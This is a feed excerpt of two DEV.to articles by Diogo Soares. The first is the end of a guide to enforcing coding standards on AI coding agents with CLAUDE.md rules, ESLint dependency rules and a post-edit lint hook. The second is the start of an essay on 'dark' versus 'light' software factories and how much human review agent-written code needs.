      &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;domain-is-pure&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;severity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;error&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;from&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;^src/domain&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="na"&gt;to&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;^src/(infrastructure|presentation)|node_modules/(express|@prisma)&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This rule forbids a few imports. It doesn't prove the domain is pure: a domain file can still read &lt;code&gt;process.env&lt;/code&gt; or call &lt;code&gt;Date.now()&lt;/code&gt;. Extend the list as you find the leaks that matter in your codebase.&lt;/p&gt;

&lt;p&gt;Then close the loop so the agent sees the failure while it is still working, not in CI an hour later. A Claude Code &lt;a href="https://code.claude.com/docs/en/hooks" rel="noopener noreferrer"&gt;&lt;code&gt;PostToolUse&lt;/code&gt; hook&lt;/a&gt; runs after an edit. This one lints only the file that was just edited (it reads the path from the hook's JSON input, so it needs &lt;code&gt;jq&lt;/code&gt;, and quotes it so paths with spaces work), and exit code 2 sends the output back to the agent:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"hooks"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"PostToolUse"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"matcher"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Edit|Write"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"hooks"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"f=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;$(jq -r '.tool_input.file_path')&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;; npx eslint --no-warn-ignored --max-warnings=0 &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;$f&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; &amp;gt;&amp;amp;2 || exit 2"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Be clear about what this does: the hook runs &lt;em&gt;after&lt;/em&gt; the edit. It doesn't block or undo the change; it hands the agent the error while it still has the context to fix it. The hard stop is still CI.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The split I use: the instruction file explains intent, automated checks in CI enforce the measurable part, and human review judges the rest.&lt;/strong&gt; No single layer is enough on its own.&lt;/p&gt;




&lt;h2&gt;
  
  
  The VIP discount, with rules in place
&lt;/h2&gt;

&lt;p&gt;Back to the opening example. Same request, but now the agent has the global standards, a project &lt;code&gt;CLAUDE.md&lt;/code&gt; that describes the layers, and the domain rule above.&lt;/p&gt;

&lt;p&gt;First, the refactor has to keep the behavior of the original code: &lt;strong&gt;one discount per customer, VIP checked before employee, no stacking.&lt;/strong&gt; Anything else ("apply the best discount", "let discounts add up") is a business decision, not a refactor, and should come from the task, not from the agent.&lt;/p&gt;

&lt;p&gt;With two fixed discounts, a pure function is enough. An illustrative result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/domain/pricing/customer-discount.ts&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;VIP_DISCOUNT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Percentage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;EMPLOYEE_DISCOUNT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Percentage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Same rules as the original: VIP first, then employee, never both.&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;applyCustomerDiscount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;customer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Customer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;subtotal&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Money&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nx"&gt;Money&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;customer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isVip&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;subtotal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;minus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;VIP_DISCOUNT&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;subtotal&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;customer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isEmployee&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;subtotal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;minus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;EMPLOYEE_DISCOUNT&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;subtotal&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;subtotal&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No interface, no class, no new file per tier. But the rule is out of the 150-line &lt;code&gt;checkout&lt;/code&gt;, the numbers have names, and it can be tested without a database.&lt;/p&gt;

&lt;p&gt;Now suppose marketing starts adding a campaign every quarter, each with its own conditions. That's a concrete problem where a Strategy can help, if the campaigns really vary independently. This is where the agent can propose one, and say why:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/domain/pricing/discount-policy.ts&lt;/span&gt;
&lt;span class="c1"&gt;// Strategy pattern: campaigns are added and removed independently.&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kr"&gt;interface&lt;/span&gt; &lt;span class="nx"&gt;DiscountPolicy&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;appliesTo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;customer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Customer&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nx"&gt;boolean&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nf"&gt;apply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;subtotal&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Money&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nx"&gt;Money&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// src/application/checkout/calculate-total.use-case.ts&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;CalculateTotal&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Ordered list: the first policy that applies wins, as in the original if/else.&lt;/span&gt;
  &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;policies&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;OrderedDiscountPolicies&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;

  &lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;CalculateTotalInput&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nx"&gt;CalculateTotalOutput&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;subtotal&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cart&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;subtotal&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;total&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;policies&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;applyFirstMatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;customer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;subtotal&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;total&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;total&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The name &lt;code&gt;applyFirstMatch&lt;/code&gt; matters as much as the pattern. It tells the next reader, human or agent, that precedence is defined by order, which is exactly what the original &lt;code&gt;if/else&lt;/code&gt; did.&lt;/p&gt;

&lt;p&gt;What changed for whoever maintains this next:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The pricing rule lives in one place&lt;/strong&gt;, not next to payment and email code.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;It is testable in isolation&lt;/strong&gt;, without a database.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The design matches the problem.&lt;/strong&gt; A function for two fixed rules; a Strategy once variations change independently.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The behavior is explicit.&lt;/strong&gt; "First match wins" is in a name and a comment, not hidden in the order of &lt;code&gt;else if&lt;/code&gt; branches.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Ask for a self-review before "done"
&lt;/h3&gt;

&lt;p&gt;One last instruction that works well in practice: make the agent check its own diff against the rules before it reports the task as finished.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Before you say the task is done:
1. Review your diff against the engineering standards in CLAUDE.md.
2. List any rule you broke on purpose and why.
3. Answer: could a developer who has never seen this repo understand the
   change, and quickly find the contracts and decisions it depends on?
   If not, fix it.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The agent will not catch everything, but in my experience question 3 catches a fair amount of unnecessary indirection.&lt;/p&gt;




&lt;h2&gt;
  
  
  Trade-offs and when to relax the rules
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Risk&lt;/th&gt;
&lt;th&gt;What happens&lt;/th&gt;
&lt;th&gt;What I do&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Over-engineering&lt;/td&gt;
&lt;td&gt;Interfaces with one implementation, layers for a 50-line script&lt;/td&gt;
&lt;td&gt;The "pragmatism" and "scope" clauses; review for ceremony, not only for bugs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Imposed design&lt;/td&gt;
&lt;td&gt;The agent picks a pattern because a rule named it, not because the problem needs it&lt;/td&gt;
&lt;td&gt;Rules ask for properties (isolated, testable, behavior preserved), not for specific patterns&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fighting the idiom&lt;/td&gt;
&lt;td&gt;Object Calisthenics vs. React components, DTOs, ORM entities&lt;/td&gt;
&lt;td&gt;Path-scoped rules: strict in &lt;code&gt;src/domain&lt;/code&gt;, relaxed in UI and adapters&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Context cost&lt;/td&gt;
&lt;td&gt;Huge instruction files reduce adherence to everything&lt;/td&gt;
&lt;td&gt;Under ~200 lines per file; move the rest to scoped rules or skills&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Contradictions&lt;/td&gt;
&lt;td&gt;Global file says one thing, project file another&lt;/td&gt;
&lt;td&gt;The global file defers to existing project conventions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;False confidence&lt;/td&gt;
&lt;td&gt;Rules exist, so nobody reviews the design&lt;/td&gt;
&lt;td&gt;Linters for the measurable part, humans for the rest&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;And to be clear about the limits: &lt;strong&gt;these rules don't make an agent a senior engineer&lt;/strong&gt;. Explicit rules bring its defaults closer to your team's standards, automated checks cover the measurable part, and judgement is still needed for everything else. Choosing the right boundary for a module, or deciding that a pattern is not worth it, is still a judgement call that a human should be able to question.&lt;/p&gt;




&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Isn't this just prompt engineering?&lt;/strong&gt;&lt;br&gt;
It's closer to writing a coding standard. The difference is that the reader is an agent that follows written rules far more literally than a new hire would, so the rules have to be concrete.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Should I put Object Calisthenics in every project?&lt;/strong&gt;&lt;br&gt;
I wouldn't apply all nine rules everywhere. They work well in the domain layer and badly in framework glue code. Scope them with paths.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Global or project file?&lt;/strong&gt;&lt;br&gt;
Personal standards in the global file, the project's architecture in the project file. If the project has its own conventions, they win.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does the model really follow a 200-line file?&lt;/strong&gt;&lt;br&gt;
There's no guarantee, and size alone doesn't decide adherence: specific, consistent rules matter more than line count. The docs do note that longer files reduce adherence. That's why the measurable rules also live in ESLint and dependency checks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What if the existing codebase violates all of this?&lt;/strong&gt;&lt;br&gt;
Tell the agent to apply the rules to new code and refactors only. Rewriting a legacy module as a side effect of a bug fix is how agents create the riskiest pull requests.&lt;/p&gt;




&lt;h2&gt;
  
  
  Takeaway
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Knowing is not applying.&lt;/strong&gt; An agent that explains SOLID perfectly will still take the shortest path when nobody asks for more.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Write rules, not principles.&lt;/strong&gt; "Inject dependencies through the constructor" changes the output. "Follow SOLID" barely does.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ask for properties, not patterns.&lt;/strong&gt; "Pure, testable, behavior preserved" plus a pragmatism clause prevents the over-engineering that strict rules invite.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Put each rule in the right layer.&lt;/strong&gt; Global standards, project architecture, path-scoped domain rules.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enforce what you can measure, in CI.&lt;/strong&gt; A post-edit hook gives the agent fast feedback; only a blocking check in CI is a guarantee.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Maintainable code serves the next agent session too.&lt;/strong&gt; It starts from the code you leave behind.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What's the one rule in your &lt;code&gt;CLAUDE.md&lt;/code&gt; or &lt;code&gt;AGENTS.md&lt;/code&gt; that made the biggest difference in what your agent writes? I'd like to collect the good ones.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm Diogo Soares, a Staff AI Engineer working on AI agents and legacy modernization. If this was useful, follow me here on DEV.to and on Instagram at &lt;a href="https://instagram.com/diogosoares.dev" rel="noopener noreferrer"&gt;@diogosoares.dev&lt;/a&gt;, where every article becomes a visual carousel you can save (this one includes the rules table). Let's also connect on &lt;a href="https://www.linkedin.com/in/diogoschmidtsoares" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;, or check out &lt;a href="https://diogosoares.dev" rel="noopener noreferrer"&gt;diogosoares.dev&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>cleancode</category>
      <category>architecture</category>
      <category>programming</category>
    </item>
    <item>
      <title>Dark Factory vs. Light Factory: Where Should AI Agents Run Unwatched?</title>
      <dc:creator>Diogo Soares</dc:creator>
      <pubDate>Wed, 21 Oct 2026 07:02:13 +0000</pubDate>
      <link>https://dev.to/soaresdiogo/dark-factory-vs-light-factory-where-should-ai-agents-run-unwatched-9po</link>
      <guid>https://dev.to/soaresdiogo/dark-factory-vs-light-factory-where-should-ai-agents-run-unwatched-9po</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;"Code must not be written by humans."&lt;br&gt;
"Code must not be reviewed by humans."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Those are the two founding rules of the AI team at StrongDM, as &lt;a href="https://simonwillison.net/2026/Feb/7/software-factory/" rel="noopener noreferrer"&gt;reproduced by Simon Willison&lt;/a&gt; in February 2026. Willison found the second one the most interesting, and so did I. Every instinct I have from 15 years of shipping software says that unreviewed code is how incidents start.&lt;/p&gt;

&lt;p&gt;And yet the idea won't go away. Coding agents now run for hours, open pull requests in parallel and fix their own failing tests. Somewhere between "autocomplete" and "nobody reads the code anymore" there is a line, and most teams are crossing it without deciding where it is.&lt;/p&gt;

&lt;p&gt;That line has a name now. A &lt;strong&gt;dark factory&lt;/strong&gt; is a software pipeline where AI agents write, test and ship code that no human has read. A &lt;strong&gt;light factory&lt;/strong&gt; (Addy Osmani calls it a "lit" factory) is the same pipeline with humans kept at the points where judgment matters.&lt;/p&gt;

&lt;p&gt;This post covers three things:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;What the dark factory vs. light factory distinction really is, and where the terms come from.&lt;/li&gt;
&lt;li&gt;Why the deciding factor is verification, not model intelligence.&lt;/li&gt;
&lt;li&gt;A practical way to decide, &lt;strong&gt;per loop and not per company&lt;/strong&gt;, which work can run in the dark and which must stay lit.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Where the dark factory idea comes from
&lt;/h2&gt;

&lt;p&gt;The name is borrowed from manufacturing. A "lights-out" factory runs with no people on the floor, so nobody needs the lights on. FANUC has been running robots that build robots this way for years, and Osmani's essay cites Xiaomi's 2024 facility as a recent example.&lt;/p&gt;

&lt;p&gt;In software, the framing took off in early 2026:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;th&gt;Contribution&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;a href="https://simonwillison.net/2026/Jan/28/the-five-levels/" rel="noopener noreferrer"&gt;Dan Shapiro's five levels&lt;/a&gt; (Jan 2026)&lt;/td&gt;
&lt;td&gt;A ladder of AI-assisted programming modelled on self-driving levels. The top rung is the "dark software factory".&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;a href="https://simonwillison.net/2026/Feb/7/software-factory/" rel="noopener noreferrer"&gt;StrongDM's software factory&lt;/a&gt; (Feb 2026)&lt;/td&gt;
&lt;td&gt;A real team operating with "no human writes, no human reviews" rules, verified through hidden scenarios.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;a href="https://addyosmani.com/blog/software-factories/" rel="noopener noreferrer"&gt;Addy Osmani, "Software Factories, Light and Dark"&lt;/a&gt; (Jul 2026)&lt;/td&gt;
&lt;td&gt;Defines loop, harness and factory, and argues that each loop needs its own light switch.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Osmani's vocabulary is the most useful one I have found, so I'll use it for the rest of this post:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Loop&lt;/strong&gt;: one agent doing one job repeatedly. Gather context, act, check, repeat until a condition is met.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Harness&lt;/strong&gt;: everything around the loop. Sandbox, tools, memory, and the gates that define "done".&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Factory&lt;/strong&gt;: many harnessed loops fed by a work queue and drained through a review gate into production.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The dark vs. light question is only about that last gate. &lt;strong&gt;Who, or what, decides that a change is good enough to ship?&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;                 ┌──────────── HARNESS ────────────┐
 work queue ──▶  │ agent loop: context → act → check │ ──▶ REVIEW GATE ──▶ production
                 └──────────────────────────────────┘        │
                                                       light: a human approves
                                                       dark:  only machines check
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  The real problem: generation is cheap, verification is not
&lt;/h2&gt;

&lt;p&gt;Agents made writing code nearly free. They did not make understanding code any cheaper. That gap is what Osmani calls &lt;strong&gt;comprehension debt&lt;/strong&gt;: the growing distance between how much code exists and how much any human still understands.&lt;/p&gt;

&lt;p&gt;A dark factory takes on comprehension debt as fast as it can produce code, and the tests stay green the whole time. Nothing looks wrong until something breaks and nobody on the team knows how that part of the system works.&lt;/p&gt;

&lt;p&gt;The failure modes are specific, and they are different on each side:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Dark factory failure&lt;/th&gt;
&lt;th&gt;Light factory failure&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;What goes wrong&lt;/td&gt;
&lt;td&gt;Plausible code with "inhuman" mistakes ships because every check passes&lt;/td&gt;
&lt;td&gt;Humans become the bottleneck and rubber-stamp 40 PRs a day&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;How it shows up&lt;/td&gt;
&lt;td&gt;Late, quiet incidents in code nobody has read&lt;/td&gt;
&lt;td&gt;Review queues, slow delivery, reviewer fatigue&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root cause&lt;/td&gt;
&lt;td&gt;Checks are weaker than the agent's ability to satisfy them&lt;/td&gt;
&lt;td&gt;Review effort is spent on the wrong layer (lines instead of plans)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cost&lt;/td&gt;
&lt;td&gt;Painful manual debugging of an unfamiliar codebase&lt;/td&gt;
&lt;td&gt;Throughput, and eventually the reviews stop being real&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;That last row on the light side is the one people underestimate. &lt;strong&gt;A light factory where humans click "approve" without reading is a dark factory with extra latency.&lt;/strong&gt; You get the risk of the dark version and the cost of the light one.&lt;/p&gt;

